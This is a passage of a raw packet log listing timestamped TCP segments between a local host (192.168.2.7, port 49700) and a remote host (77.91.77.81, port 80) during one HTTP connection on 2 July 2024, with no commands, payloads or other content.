Jul 2, 2024 12:21:11.578641891 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578661919 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578677893 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578741074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578752041 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578762054 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578773022 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578773022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578788996 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578813076 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578933001 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578947067 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578957081 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578963041 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578967094 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578978062 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578982115 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578989029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578999043 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.579009056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.579026937 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609342098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609369040 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609378099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609411955 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609421968 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609432936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609438896 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609443903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609455109 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609482050 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609500885 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609512091 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609535933 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609541893 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609565973 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609627962 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609637022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609647036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609657049 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609678984 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609699011 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609734058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609745026 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609764099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609791040 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609811068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609821081 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609829903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.609841108 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.609855890 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610012054 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610027075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610037088 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610045910 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610047102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610058069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610070944 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610075951 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610085011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610095024 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610095978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610105038 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610121012 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610146999 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610203981 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610213995 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610234976 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610239983 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610245943 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610260963 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610284090 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610305071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610332012 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610403061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610413074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610423088 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610430956 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610434055 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610445976 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610450029 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610455990 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610475063 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610490084 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610611916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610622883 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610635042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610641956 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610658884 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610743999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610754013 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610764980 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610775948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610776901 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610794067 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610819101 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610882998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610893011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610903025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.610913038 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.610932112 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611052990 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611063004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611073017 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611083031 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611083031 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611093998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611104012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611108065 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611114025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611124039 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611133099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611151934 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611354113 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611363888 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611373901 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611383915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611387014 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611393929 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611403942 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611404896 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611414909 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611433983 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611457109 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611612082 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611622095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611630917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611641884 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611644983 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611653090 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611663103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611670017 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611675978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611687899 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611705065 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611820936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611831903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611841917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611856937 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611880064 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611932039 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611943007 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611953020 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611963034 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611963034 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611973047 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611982107 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.611983061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.611993074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612004042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612010956 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.612014055 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612027884 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.612052917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.612243891 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612293005 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612303972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612313986 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612323999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.612453938 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669212103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669235945 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669246912 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669286013 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669312954 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669344902 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669354916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669365883 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669374943 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669375896 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669409037 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669578075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669588089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669596910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669606924 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669611931 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669616938 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669626951 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669626951 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669636965 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669646978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669655085 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669657946 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.669682980 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.669697046 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670643091 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670653105 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670670033 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670676947 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670680046 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670691013 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670701027 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670710087 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670711040 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670721054 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670730114 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670731068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670742035 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670753956 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670758963 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670763969 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670773983 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670773983 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670783997 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670794010 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670802116 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670804024 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670814991 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.670829058 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.670845985 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700054884 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700084925 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700122118 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700123072 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700165033 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700195074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700205088 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700223923 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700229883 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700249910 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700253010 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700280905 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700288057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700321913 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700375080 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700390100 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700401068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700409889 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700429916 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700488091 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700499058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700508118 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700517893 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700542927 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700581074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700591087 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700601101 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700608969 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700634956 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700711012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700721979 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700731039 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700740099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700766087 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700789928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700800896 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700809956 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700826883 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700850964 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700927973 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700937986 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700948000 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700958967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700961113 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700968981 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.700977087 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.700978994 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701001883 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701018095 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701096058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701107025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701116085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701124907 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701145887 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701292992 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701303005 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701313972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701320887 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701323986 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701334953 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701344967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701345921 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701355934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701365948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701371908 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701376915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701392889 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701410055 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701545000 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701555967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701575994 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701591969 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701610088 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701621056 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701638937 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701657057 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701739073 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701749086 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701760054 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701770067 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701771021 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701780081 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701796055 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701813936 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.701968908 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701980114 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701989889 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.701999903 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702001095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702011108 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702018023 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702020884 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702032089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702043056 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702045918 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702063084 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702085972 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702230930 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702240944 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702256918 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702260971 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702271938 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702277899 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702282906 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702292919 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702295065 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702302933 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702312946 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702312946 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702337980 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702462912 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702492952 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702636957 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702646971 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702657938 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702665091 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702666998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702678919 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702683926 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.702688932 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702699900 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702709913 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.702716112 CEST	49700	80	192.168.2.7	77.91.77.81
